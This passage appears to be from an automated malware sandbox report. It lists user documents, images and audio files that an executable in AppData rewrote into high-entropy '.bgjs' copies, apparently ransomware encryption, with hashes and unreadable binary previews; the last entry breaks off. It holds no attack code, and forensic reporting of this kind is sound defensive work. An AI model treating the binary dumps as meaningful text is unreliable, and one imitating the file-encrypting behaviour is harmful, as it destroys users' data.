Preview:	XZXHA...$%{....QN.2j.&.@\.pA......GW.5<s......5`.}.h^z....@o.N..f..hQ..f.x.p.0..SR...3...>.=.4...j.7.....O;7.q.@.[i.<#.4^q....W.Q.6...v..J./........0.....d...gp.>..M....4..M.W.......TS_.!.!.O..d.P.l?..-f.....j[.8uFJf....5....d....IBC?.p7{..._.F.>.E..y.:.29.47....'!.v..G.>J.h#(t..?...P...^8k.8.....-..u.Q i...y.....+g<.-......u(....V....W..1.@E.m:WZe....1...0..I...5.._...Z...1s.Q0.hnIg..Pu].i..Y....r.XsX[z...rH.z._W..].....)W....p...i...R..g.2..N..`..%.I..J..f......?vi.4..x..x4\.m....P.X..z.s...`.N...;X.....c!&....N./6.#...sK....U..h.j.DX....n.2.2%.>....t.`.?.'D.>`..(.F.f)...~..#...0........ww.................Iy>k.m.4.0g>..$..k....~.gU..r.K..38.........q.k.AG..}....D.0.3.Q..cF./..w$F.V..<.1.+......I...X;.}...<v.?.U.4.a.$..U.>+.M#.....)m.....T./...u...T...$dq..pP..+...EG.....$J.......`".A.$.j..4..I.d.-.........38kWi.\....0...wi.\....(..cB@.......T....E_.$...m..5..b..:....l...g..9.. M.......,.. .......%.-2..3..-......{9...N

C:\Users\user\Documents\AIXACVYBSB\AIXACVYBSB.docx

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844101272296597
Encrypted:	false
SSDEEP:	24:nBdP5bBWO2EVwsG74YdQvl2u0Xlv5r7/N2kH57rpqjnvBF8hc8DfoR+cq4tKwHkp:BdRtWO2nr7Pk03jNV57rsBOTfoRfI4eh
MD5:	8E544681594D9171DF230F754A4277DB
SHA1:	021CC307436F156CD8BED8358BB775A33CE57488
SHA-256:	A52D581341B2C3BBD550212FFDAB038F555AD381BE34338F4E0D1A76F792FDDA
SHA-512:	54494F27DD61926FF24F187502114CD854715A08E81EB404022B0E3E1E2DD3D0762F0A93269F677D7CF20857D3DF71AB2993BAD1D6326C63C9EE53E9DE725F7D
Malicious:	false
Preview:	AIXAC.......L.;..1E<....h..fMi.o;.\..>.Gb...>C...).7O.>b.R[...w....sI.u..%P%.....>+'....._.5....P7.:....1M....b7\|W.W...;uY....Z.t..m......S}0.......h.....@.:.........\7..u.0@...-..4......U.I..w^.p7l...W..<.)..l.{...5M.A..'p.ST.I.v..30..Y.u.#4o...z..L.._#?......0....^....2~...2..m..".....=...[....['.2v..!.ot..[t.fT..^..I.{j.."/.(+..8.dx..).W+.4^VxD.#.zG..<GM.w;=.&1@8...d..~s........?..c..U.}q.J..b.91..ym....z>L. ....`[..5.\....$......C...E.=.....g.1..g.a_.cW.H=Z.l?..;......G@.T.m......N...N.`.A.q.R.B.fba....Fr............]&...."`.Y....}LT...>N~..l.....iN.3.5.......9h8..)..5.....:..l.(&..i........a..#.. ..$6_..[..].e...UH.V.!k...4..3AJ....)/^..^P8~..~.'.D.O=...}UOG.=H.;..R._...%......MAV/...H..M...bL1.A.+<,`..clj.....>m....[Q.gs....Og{.........z...MC.../&Q...Ec..L5...S.V..L..W. z..XS4AI......k..B......^G........f..M.?.AoK.r..,..x......W~.LL.[<.W....lB...[(H...z.sf.yY..qu"...0..@.....O.<M.Bg...,....N..... .(Z..$'.2....`}.6..l9.....klbh9.

C:\Users\user\Documents\AIXACVYBSB\AIXACVYBSB.docx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844101272296597
Encrypted:	false
SSDEEP:	24:nBdP5bBWO2EVwsG74YdQvl2u0Xlv5r7/N2kH57rpqjnvBF8hc8DfoR+cq4tKwHkp:BdRtWO2nr7Pk03jNV57rsBOTfoRfI4eh
MD5:	8E544681594D9171DF230F754A4277DB
SHA1:	021CC307436F156CD8BED8358BB775A33CE57488
SHA-256:	A52D581341B2C3BBD550212FFDAB038F555AD381BE34338F4E0D1A76F792FDDA
SHA-512:	54494F27DD61926FF24F187502114CD854715A08E81EB404022B0E3E1E2DD3D0762F0A93269F677D7CF20857D3DF71AB2993BAD1D6326C63C9EE53E9DE725F7D
Malicious:	false
Preview:	AIXAC.......L.;..1E<....h..fMi.o;.\..>.Gb...>C...).7O.>b.R[...w....sI.u..%P%.....>+'....._.5....P7.:....1M....b7\|W.W...;uY....Z.t..m......S}0.......h.....@.:.........\7..u.0@...-..4......U.I..w^.p7l...W..<.)..l.{...5M.A..'p.ST.I.v..30..Y.u.#4o...z..L.._#?......0....^....2~...2..m..".....=...[....['.2v..!.ot..[t.fT..^..I.{j.."/.(+..8.dx..).W+.4^VxD.#.zG..<GM.w;=.&1@8...d..~s........?..c..U.}q.J..b.91..ym....z>L. ....`[..5.\....$......C...E.=.....g.1..g.a_.cW.H=Z.l?..;......G@.T.m......N...N.`.A.q.R.B.fba....Fr............]&...."`.Y....}LT...>N~..l.....iN.3.5.......9h8..)..5.....:..l.(&..i........a..#.. ..$6_..[..].e...UH.V.!k...4..3AJ....)/^..^P8~..~.'.D.O=...}UOG.=H.;..R._...%......MAV/...H..M...bL1.A.+<,`..clj.....>m....[Q.gs....Og{.........z...MC.../&Q...Ec..L5...S.V..L..W. z..XS4AI......k..B......^G........f..M.?.AoK.r..,..x......W~.LL.[<.W....lB...[(H...z.sf.yY..qu"...0..@.....O.<M.Bg...,....N..... .(Z..$'.2....`}.6..l9.....klbh9.

C:\Users\user\Documents\AIXACVYBSB\ONBQCLYSPU.jpg

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834634007087529
Encrypted:	false
SSDEEP:	24:3TiLi5entyPTuY9U9ZSKDlfF88GKldvpnxWSR2wi+cElElFSMNz9VUw+3ZQvvHEd:3Iget2PKDj8WoSqKElFFN1ouvvbbToD
MD5:	FA7C5885A82055552A6F4A0C773C8F8B
SHA1:	431F84C0CF7486ED318BD3678C3E34193E3EB44D
SHA-256:	82BE840496FD6F3C390D59810708E9F91EB7674FB16CC02FBC8D2E4C32ADBA4B
SHA-512:	2340AFDCC770F21CA110A52686025F0CA070336A958B46BC9DA07E6F9B88A9AA209EFA86EDCB6A400D176B9423A1F51DCC8B5B1997F86064F0CC7743F56792CB
Malicious:	false
Preview:	ONBQCN.X.`8Si....}.QN.....{.Z.e.Sv.~[.e..K..G..< "...Rj.._..i.'......LPd.L\|.0c........e.g.G4..{...T..2.A.'HW.....a.2.9E.z4.Kv..S.L...X....]....n.{P....tz.T.! r~..bY..G..4..0/Mt......Ah..m$.....b.....n....P90P..\...q.}0..h.........B.l.a.v...Hz'..p..h...L.U.._....d.....R....v...T..q..1.[..r.J.k..\|.g.....D.....s..k.x..#..'..}W...pC.{.>...&..;..9p...IH\|.Xc?....T...D..=.Gpv.......o.z....0.N...V..).......a6.)m....}.J..Z...K......'.v...4].`..3....A....w.g.6)Z...gsZ...)j....{...TY..n.'*.....N......+>.......V.............Dp...7..I....B..../.<.1s..yH..)...+^.h.5..6...e..F..:...-..:..[.r.....`.C-...k..R..}.g..w.#.z.F.4..Y.;,.".e.v.D......"...B..W......x.^1x3.n.`=.)......,@.E4@.5`6.q.G.T..^.p.T...{..j..j...Oz.<..y.lQ.A}....]]....d.j(...op0..Z...7......Q.2..G.......p.tN....#D..>$.l..._+.q......:..p ....P.t..K.TL.G......#.....B.........RR..3...l.).l......GN...NTU.$..v..6..6........}.g$...L...g..4.^.Q..tW[....:.J..m..m.......'..........\.8H....

C:\Users\user\Documents\AIXACVYBSB\ONBQCLYSPU.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834634007087529
Encrypted:	false
SSDEEP:	24:3TiLi5entyPTuY9U9ZSKDlfF88GKldvpnxWSR2wi+cElElFSMNz9VUw+3ZQvvHEd:3Iget2PKDj8WoSqKElFFN1ouvvbbToD
MD5:	FA7C5885A82055552A6F4A0C773C8F8B
SHA1:	431F84C0CF7486ED318BD3678C3E34193E3EB44D
SHA-256:	82BE840496FD6F3C390D59810708E9F91EB7674FB16CC02FBC8D2E4C32ADBA4B
SHA-512:	2340AFDCC770F21CA110A52686025F0CA070336A958B46BC9DA07E6F9B88A9AA209EFA86EDCB6A400D176B9423A1F51DCC8B5B1997F86064F0CC7743F56792CB
Malicious:	false
Preview:	ONBQCN.X.`8Si....}.QN.....{.Z.e.Sv.~[.e..K..G..< "...Rj.._..i.'......LPd.L\|.0c........e.g.G4..{...T..2.A.'HW.....a.2.9E.z4.Kv..S.L...X....]....n.{P....tz.T.! r~..bY..G..4..0/Mt......Ah..m$.....b.....n....P90P..\...q.}0..h.........B.l.a.v...Hz'..p..h...L.U.._....d.....R....v...T..q..1.[..r.J.k..\|.g.....D.....s..k.x..#..'..}W...pC.{.>...&..;..9p...IH\|.Xc?....T...D..=.Gpv.......o.z....0.N...V..).......a6.)m....}.J..Z...K......'.v...4].`..3....A....w.g.6)Z...gsZ...)j....{...TY..n.'*.....N......+>.......V.............Dp...7..I....B..../.<.1s..yH..)...+^.h.5..6...e..F..:...-..:..[.r.....`.C-...k..R..}.g..w.#.z.F.4..Y.;,.".e.v.D......"...B..W......x.^1x3.n.`=.)......,@.E4@.5`6.q.G.T..^.p.T...{..j..j...Oz.<..y.lQ.A}....]]....d.j(...op0..Z...7......Q.2..G.......p.tN....#D..>$.l..._+.q......:..p ....P.t..K.TL.G......#.....B.........RR..3...l.).l......GN...NTU.$..v..6..6........}.g$...L...g..4.^.Q..tW[....:.J..m..m.......'..........\.8H....

C:\Users\user\Documents\AIXACVYBSB\XZXHAVGRAG.pdf

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854110643036491
Encrypted:	false
SSDEEP:	24:XLEDJ/E+G9ddmm/foKMvA/28pFOeV/6QhwrF80MLXTu3Sd738XljDpcL0n1ObD:7qRENGm3oVvAe8+eVirF8DLEX36D
MD5:	2930D80C389B6D3D49DBAF4E3D2B8E7D
SHA1:	E5296B9EFE4F272C83C45B0D02F61E3BB650209B
SHA-256:	31BE5C64C1F7F256837FD040FC65DCFAF76DC3EFA0EECBCB979611A2E11A6033
SHA-512:	8C6329BC35E0E6F98FFB1996F81D13EE11FE004A93DCD855063E4994E9FC86516BEF001D8E07E09348D9C30872E3CCADCBBF723E2BE0E7FDD2F9E853DB6D55C6
Malicious:	false
Preview:	XZXHA.. {.E.tJl]. .VO.'+j......4.?...T.lS..3......t.......8....0........36.g....jPM.vc.!V.J.,......M)..~...p. .".F...k..c...,`nFQ....h.;<...c...(o....J6.>.~^.2}/.{.w.S.......b..S.Zu.....D...".......EZ...r..O7]n.y. N...I(_T;....3pp.q...Q{..)f=.F.1..N..#...CiSM...i'.....4.1.s'...0&.BE...d:..H+.`aJ..b:Y..!.....u..d.vz.yBO....\W......."<...<.b.".]O.+..->s..(....D_.(E.Z......>..vZbl...#.W.z.I..PX..7._.......m.m......{mu.....^2.UE.@.=h.s.e........n.0.W...N.Pk............_...kR..4)..6^GFb...Ba.d..C..H..)%.2..Q.A..R..a.5@....y.r5. .Lw...h...]...lOf....T..\..K..F..R..U.....dS......e.]({0...7.J.w9s...g...Q....;m.g]!..i..^.a..C.a.-.;.O...!.@~Sy.3..t..84E..T....l"LZ....K...4j..l...Mf..:w...\.N...fu....n..I..-.I.OMF~Cg.5.a....^....N..gNB.\..2.)r...d....NA<....Z.........T....g0....f.U..8.._.........}.F..C...Z.gY....=q..$[.;s..4..........T.....\......J........-(.z+..........b...E..;."=[........}...>..i.>.....o.$%.^.bR...S+X.B..

C:\Users\user\Documents\AIXACVYBSB\XZXHAVGRAG.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854110643036491
Encrypted:	false
SSDEEP:	24:XLEDJ/E+G9ddmm/foKMvA/28pFOeV/6QhwrF80MLXTu3Sd738XljDpcL0n1ObD:7qRENGm3oVvAe8+eVirF8DLEX36D
MD5:	2930D80C389B6D3D49DBAF4E3D2B8E7D
SHA1:	E5296B9EFE4F272C83C45B0D02F61E3BB650209B
SHA-256:	31BE5C64C1F7F256837FD040FC65DCFAF76DC3EFA0EECBCB979611A2E11A6033
SHA-512:	8C6329BC35E0E6F98FFB1996F81D13EE11FE004A93DCD855063E4994E9FC86516BEF001D8E07E09348D9C30872E3CCADCBBF723E2BE0E7FDD2F9E853DB6D55C6
Malicious:	false
Preview:	XZXHA.. {.E.tJl]. .VO.'+j......4.?...T.lS..3......t.......8....0........36.g....jPM.vc.!V.J.,......M)..~...p. .".F...k..c...,`nFQ....h.;<...c...(o....J6.>.~^.2}/.{.w.S.......b..S.Zu.....D...".......EZ...r..O7]n.y. N...I(_T;....3pp.q...Q{..)f=.F.1..N..#...CiSM...i'.....4.1.s'...0&.BE...d:..H+.`aJ..b:Y..!.....u..d.vz.yBO....\W......."<...<.b.".]O.+..->s..(....D_.(E.Z......>..vZbl...#.W.z.I..PX..7._.......m.m......{mu.....^2.UE.@.=h.s.e........n.0.W...N.Pk............_...kR..4)..6^GFb...Ba.d..C..H..)%.2..Q.A..R..a.5@....y.r5. .Lw...h...]...lOf....T..\..K..F..R..U.....dS......e.]({0...7.J.w9s...g...Q....;m.g]!..i..^.a..C.a.-.;.O...!.@~Sy.3..t..84E..T....l"LZ....K...4j..l...Mf..:w...\.N...fu....n..I..-.I.OMF~Cg.5.a....^....N..gNB.\..2.)r...d....NA<....Z.........T....g0....f.U..8.._.........}.F..C...Z.gY....=q..$[.;s..4..........T.....\......J........-(.z+..........b...E..;."=[........}...>..i.>.....o.$%.^.bR...S+X.B..

C:\Users\user\Documents\ONBQCLYSPU\LTKMYBSEYZ.pdf

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852636946770555
Encrypted:	false
SSDEEP:	24:gl2LTND5Hr22S1MVjJWptJJv5bjDZLudZqu8Pb/trZ3ObD:glo5Hre1MvStrv1H1udIrBr2D
MD5:	49A004E3C483DC6DB94E1F57FEDA719C
SHA1:	15FE2F418E994F3902203FA206891273BFB17687
SHA-256:	4F2CD1DC81CE0B92D8A592400FF749A72259AC75778B86B713557441BBFCBF4D
SHA-512:	EC91898683CA957514650CA5645FF72BAA95A62C047381FE2AD80C7773D0C202A9C64D08D6231A24FC63A9137FAACDCA6D7D1C21F103D29CBF5AFE6BC0B6F810
Malicious:	false
Preview:	LTKMY...}A..}.A...g..Y.>..3.lX't...6.....W.M..w.Z.sqb.G.g..j].A.J)..>...........o........FN9..Iv...rq......yD.....2...lc].2E..>."....B.}..~.B..."..V.P.F..c%..q.Mi.yn.YK...9.\|_......../.g...0r..1.{I...s..l..ph/c.R..">Q...%G.q..L.G..r.].-pc..k..F%8...62....q..F?.X!x..,...zq...F.W.tJ....$..99..'X.M.V....Vk...;.-.E....k...@..Jz}...l.m...V.oa..{f+..}<.Y..\.....G.D[.....k.S)....9W.....gw!tG.@.....b@...m...E?...!..........U.?(.B.^..t.b...Z..j...x.0.J....x...b...r.u.........W....G.73.....oK.]....A.s~p....#uD.............A.#[....'\|...4..^.=~......;.^.f9.......r....9..M..E\|..:..%".4.....&w..D..p.+..V.o.x...b.$...y...-....Tj...a..V.>......./Sk..\.jf._.j92..F..b66..+(.....V.y..A..)f.V..!T.. ...T_.C2I...vT....EI2<..i{u.\.1.f....z.,k..;u4..Mx..XWx.m.t_ ]...).7.FB.Jk..=0h.,..`)k.....QT).Y....c{W*..\k..{4...Y.S...e.~.....8...s...W.....}J.U.=dj.JJ.e.p../eBS....y.K..7..R+.5.^...-...:...PRz...&..yT.(O.(6.........!..04...<....SC.......qb.E{...b/. ....F.T.;.`.a...

C:\Users\user\Documents\ONBQCLYSPU\LTKMYBSEYZ.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852636946770555
Encrypted:	false
SSDEEP:	24:gl2LTND5Hr22S1MVjJWptJJv5bjDZLudZqu8Pb/trZ3ObD:glo5Hre1MvStrv1H1udIrBr2D
MD5:	49A004E3C483DC6DB94E1F57FEDA719C
SHA1:	15FE2F418E994F3902203FA206891273BFB17687
SHA-256:	4F2CD1DC81CE0B92D8A592400FF749A72259AC75778B86B713557441BBFCBF4D
SHA-512:	EC91898683CA957514650CA5645FF72BAA95A62C047381FE2AD80C7773D0C202A9C64D08D6231A24FC63A9137FAACDCA6D7D1C21F103D29CBF5AFE6BC0B6F810
Malicious:	false
Preview:	LTKMY...}A..}.A...g..Y.>..3.lX't...6.....W.M..w.Z.sqb.G.g..j].A.J)..>...........o........FN9..Iv...rq......yD.....2...lc].2E..>."....B.}..~.B..."..V.P.F..c%..q.Mi.yn.YK...9.\|_......../.g...0r..1.{I...s..l..ph/c.R..">Q...%G.q..L.G..r.].-pc..k..F%8...62....q..F?.X!x..,...zq...F.W.tJ....$..99..'X.M.V....Vk...;.-.E....k...@..Jz}...l.m...V.oa..{f+..}<.Y..\.....G.D[.....k.S)....9W.....gw!tG.@.....b@...m...E?...!..........U.?(.B.^..t.b...Z..j...x.0.J....x...b...r.u.........W....G.73.....oK.]....A.s~p....#uD.............A.#[....'\|...4..^.=~......;.^.f9.......r....9..M..E\|..:..%".4.....&w..D..p.+..V.o.x...b.$...y...-....Tj...a..V.>......./Sk..\.jf._.j92..F..b66..+(.....V.y..A..)f.V..!T.. ...T_.C2I...vT....EI2<..i{u.\.1.f....z.,k..;u4..Mx..XWx.m.t_ ]...).7.FB.Jk..=0h.,..`)k.....QT).Y....c{W*..\k..{4...Y.S...e.~.....8...s...W.....}J.U.=dj.JJ.e.p../eBS....y.K..7..R+.5.^...-...:...PRz...&..yT.(O.(6.........!..04...<....SC.......qb.E{...b/. ....F.T.;.`.a...

C:\Users\user\Documents\ONBQCLYSPU\YPSIACHYXW.jpg

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857920008816708
Encrypted:	false
SSDEEP:	24:fh+ZUI3u7C72I2e6KzX2bP/NXBr7yLhxXFk1AE8ySz+eCPwso35iu+dgPrObD:JC372IWbb376o1Da6opi+PAD
MD5:	63DBD2CDFAEBFA5E47423C763B6A1212
SHA1:	9B7DE854D0DA362931DEE0FDC3691D28CB75C23A
SHA-256:	D5D1E23FEE5D8228D4C02DCEF21AC2DCA1366AB19568DED75B64A4AED8E99A80
SHA-512:	E9A84BD8EC06B80F2BB5822BC84AF7130D38BB5DE419CA566765F086270C4F40F09EABD0BB4B3405812FD9612D73A6B472352C70741C23C5B82D9D6F907CA81B
Malicious:	false
Preview:	YPSIA..E[....L...)...#ra...~~..TM$......u.........M..a.u0T.P.B=..l../+..i.B.pn.1.j".zB...4...Fs# ....~r.....PC..H..sB4.N.c..#...5.m..6:8...KeX...t.u.q....>'....%...Qo)-iNv.6.U.+..V..<.1r.4.K....q..2...6~.w5.;d.mk.4Jb1Bw..~..UY.,.!.c..N,8...J%..m...a.P.....PH>......>r..qr..J...... {..H&.3J.,.\|..9^ %.....X....uN.2.S.....N&WJ.<..c........\|.7..0WtO...Q}..r...7=4......w.r.pr8..z..CH0._..t.7..'2....my.#,^..YSX.q..;...0{j...A.Wd..)....j..'>...y.+G...\.D 5p.]..).........La#........al.q...x....H'...>.....l.........c<6...b.....x=.........j.U..y.E....[y...l.;%.$<..p.......WW.ao.......`.N.{..E..v.........{jD..dG?SeEt......`s.N%z.tk..b...\|B.....l.Mx.{.TS..6w.{......K..G...7.m...).T....ai.}.T.;t...F8..r..N......g.s.(...=Y...IO......+.z.h..#.....Z;...I.{....^.[.;.'\|#..'..:l..W.8....Cd...o...GF...3Af..j.2.@.Z.tx.Oa.:?Z.K6...2.W.H...Xc0..,.a.......d.fC.g)..z7.pv....p...u...qL.G..R.Q.1W..........*L...\.:$...Ud?..v.\....b3.......%<.XVM:.y}s6....

C:\Users\user\Documents\ONBQCLYSPU\YPSIACHYXW.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857920008816708
Encrypted:	false
SSDEEP:	24:fh+ZUI3u7C72I2e6KzX2bP/NXBr7yLhxXFk1AE8ySz+eCPwso35iu+dgPrObD:JC372IWbb376o1Da6opi+PAD
MD5:	63DBD2CDFAEBFA5E47423C763B6A1212
SHA1:	9B7DE854D0DA362931DEE0FDC3691D28CB75C23A
SHA-256:	D5D1E23FEE5D8228D4C02DCEF21AC2DCA1366AB19568DED75B64A4AED8E99A80
SHA-512:	E9A84BD8EC06B80F2BB5822BC84AF7130D38BB5DE419CA566765F086270C4F40F09EABD0BB4B3405812FD9612D73A6B472352C70741C23C5B82D9D6F907CA81B
Malicious:	false
Preview:	YPSIA..E[....L...)...#ra...~~..TM$......u.........M..a.u0T.P.B=..l../+..i.B.pn.1.j".zB...4...Fs# ....~r.....PC..H..sB4.N.c..#...5.m..6:8...KeX...t.u.q....>'....%...Qo)-iNv.6.U.+..V..<.1r.4.K....q..2...6~.w5.;d.mk.4Jb1Bw..~..UY.,.!.c..N,8...J%..m...a.P.....PH>......>r..qr..J...... {..H&.3J.,.\|..9^ %.....X....uN.2.S.....N&WJ.<..c........\|.7..0WtO...Q}..r...7=4......w.r.pr8..z..CH0._..t.7..'2....my.#,^..YSX.q..;...0{j...A.Wd..)....j..'>...y.+G...\.D 5p.]..).........La#........al.q...x....H'...>.....l.........c<6...b.....x=.........j.U..y.E....[y...l.;%.$<..p.......WW.ao.......`.N.{..E..v.........{jD..dG?SeEt......`s.N%z.tk..b...\|B.....l.Mx.{.TS..6w.{......K..G...7.m...).T....ai.}.T.;t...F8..r..N......g.s.(...=Y...IO......+.z.h..#.....Z;...I.{....^.[.;.'\|#..'..:l..W.8....Cd...o...GF...3Af..j.2.@.Z.tx.Oa.:?Z.K6...2.W.H...Xc0..,.a.......d.fC.g)..z7.pv....p...u...qL.G..R.Q.1W..........*L...\.:$...Ud?..v.\....b3.......%<.XVM:.y}s6....

C:\Users\user\Documents\XZXHAVGRAG\NWTVCDUMOB.png

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849675722450603
Encrypted:	false
SSDEEP:	24:P047+6YIzGvse/2BTMgH0U2yVKBEKn0rNMd7mCDN2WfJV8NtO95g6gE432Tcm3OX:PiVIiseeZMUE2kr0rCmCDfV8DO9+6gzv
MD5:	FFB5417C1A60D7B8FA453047A2214CDD
SHA1:	B1CB01357BCA7DFE6E98E29D31BB112169E2D673
SHA-256:	0D6B6C5FAEE9F960F506A5D5382B45CE81CE8ADA6052D6D5E9729B2CD53D098B
SHA-512:	4F4C8ADCB6D6F89C5E889EF492893E7659539AB7458071CD70D60BA392DDBA9EDBB4544279A88271DEE8D84CC2861AB4985ACE5D945F6C3EE8460CCABDEF3F08
Malicious:	false
Preview:	NWTVCi.......f..K;F._....ix.........DtSw)#Q"}.)..r.#.[.....z..lT..5..r.........-S...I...."&..;...I...7B.[...a..B. /xx99....\|6Z...o....ho.8.'... ..^^a.\|,d..s.V2]pN..RM...=.......;@.W.}..y..49..]....J.d..6....z...".].rr.<)..#..FW.,..b...N......P.0...T...7N.T....IJ..oz.....%.\|._....rj..n@.'j(.a1.'.B..l.,.]d\......M.361...]9.:.3..#.......=.....-0n.O.2~...i....I^.B./.K.O<j....=.0...g=$.......H.9\|......&...V....t.FX.$.F.Z./.'U.....e.d.#.T.\L..`fi...C..0.r.{#].(..]... ..`.I.... .=....w<+..SP.#.a.bTb&......6...G.j.<.`.,7.m4..).8(...8/.B..~T.kO.4#.....p..}..Ey_.....E.....G.4...6,.9.y..1.......t.c..$fQ.\|....t..%.MBA\..I.I=.".....~.....?..e."....C...._.q..A.i.c.5.U\...E.Y..;...y..../K.vV....S...6c.\........GPy3.B...q.d.B.....P.o"I..E.U.B....c.Io._.+h..nf.. ...K.c...r.t.,../.d.9.n.....O....B&..r....!....O>M..G.,IT%B.P....n.8....x.Ly..;.$c..].....O.F..Pv......{D......?EW...........K....P.>.........X...A..Z...........i4..8..:L...1:....w.$-Y.......!

C:\Users\user\Documents\XZXHAVGRAG\NWTVCDUMOB.png.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849675722450603
Encrypted:	false
SSDEEP:	24:P047+6YIzGvse/2BTMgH0U2yVKBEKn0rNMd7mCDN2WfJV8NtO95g6gE432Tcm3OX:PiVIiseeZMUE2kr0rCmCDfV8DO9+6gzv
MD5:	FFB5417C1A60D7B8FA453047A2214CDD
SHA1:	B1CB01357BCA7DFE6E98E29D31BB112169E2D673
SHA-256:	0D6B6C5FAEE9F960F506A5D5382B45CE81CE8ADA6052D6D5E9729B2CD53D098B
SHA-512:	4F4C8ADCB6D6F89C5E889EF492893E7659539AB7458071CD70D60BA392DDBA9EDBB4544279A88271DEE8D84CC2861AB4985ACE5D945F6C3EE8460CCABDEF3F08
Malicious:	false
Preview:	NWTVCi.......f..K;F._....ix.........DtSw)#Q"}.)..r.#.[.....z..lT..5..r.........-S...I...."&..;...I...7B.[...a..B. /xx99....\|6Z...o....ho.8.'... ..^^a.\|,d..s.V2]pN..RM...=.......;@.W.}..y..49..]....J.d..6....z...".].rr.<)..#..FW.,..b...N......P.0...T...7N.T....IJ..oz.....%.\|._....rj..n@.'j(.a1.'.B..l.,.]d\......M.361...]9.:.3..#.......=.....-0n.O.2~...i....I^.B./.K.O<j....=.0...g=$.......H.9\|......&...V....t.FX.$.F.Z./.'U.....e.d.#.T.\L..`fi...C..0.r.{#].(..]... ..`.I.... .=....w<+..SP.#.a.bTb&......6...G.j.<.`.,7.m4..).8(...8/.B..~T.kO.4#.....p..}..Ey_.....E.....G.4...6,.9.y..1.......t.c..$fQ.\|....t..%.MBA\..I.I=.".....~.....?..e."....C...._.q..A.i.c.5.U\...E.Y..;...y..../K.vV....S...6c.\........GPy3.B...q.d.B.....P.o"I..E.U.B....c.Io._.+h..nf.. ...K.c...r.t.,../.d.9.n.....O....B&..r....!....O>M..G.,IT%B.P....n.8....x.Ly..;.$c..].....O.F..Pv......{D......?EW...........K....P.>.........X...A..Z...........i4..8..:L...1:....w.$-Y.......!

C:\Users\user\Documents\XZXHAVGRAG\YPSIACHYXW.mp3

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86990482650964
Encrypted:	false
SSDEEP:	24:Z3kWVbdvLYpayJqppZ7uJO06TETpooDeJyGnpRk1w7+bpRjQdGeg1JhxUdTwjIh+:vp1YDM906QGoDeJyGpD702gVx2Aj4CEU
MD5:	3AD5F2A94C075B3DDF5F7DBFC2CF57AC
SHA1:	343137121DBD6FC5E6237D54A708B63B8E2B0FF5
SHA-256:	B4C30FDD930DC511ABF7A4B5E6183FF8449668F306333D6A0ECA1B3A80818AD0
SHA-512:	04E5C5E7C6D8FD6C05C9A352F223146F31560FDD8E62BDA76149F5326EC24763CE7EE335DAB52B0DCFED76607EEA328DDD2A0DBB877BFBD691D7276701DD50EF
Malicious:	false
Preview:	YPSIA.....x1..nD.m.\|.......$.].^k..y...\|hr....d......w.eUI..:5+j....'.J.\...7...u.e&".X. ......./.("....6...L.-BGSo,..).9H.;3.T.u......4...0jb...j..?.}~.._.i..1J&.4'.....qG.,5.BN..a.....L%..$l.5P....[..c@^.@5}Il..-..JE[EK<1.p.OD..X...LAL_.w...I._..........m{.I.."q.j.....<..H9...<....@.;....6m....u.N...!n....73.d.....dt<.w.N..s..-.@...9S.V.C....rO...y3X...a}.m.&y.4...)hlk...G@ht.^....c'...o....1z{.G....#........L..j........,....k.."..u.....a..6.o.\|....;Qj.0...T. 1.~..es.....n...CqL_....-..V..EC.Oi.)......q....}...i.K:K..d...j-.O...O4.~..em~8..o..(...T.O5Fyqk..%.},..r.2..^.t.v^..iB(.P.[...75u??..{.c@j.(.........7~......b..)?.=.Ve....x.z.(.x0xw..w..i\|g............tK.!....\|2.&px..q.[._..../Z..".G.b.[..N.....$...&.x.[...:.[.f.+...#...j..`...D....xS^X..C...,.<m+..Q.Q;d..I9 .1.7g.. .{...v/....l...cd...3.6..5....RE.n..._..c.Yj..].8.4.$.$9.W.M.b..1t...9..+).....h.#..S.A"....x]..F........H..b...).Q..5...I. ...V...%.../?..Y..M...H...6......<.M9X..,.{.6

C:\Users\user\Documents\XZXHAVGRAG\YPSIACHYXW.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
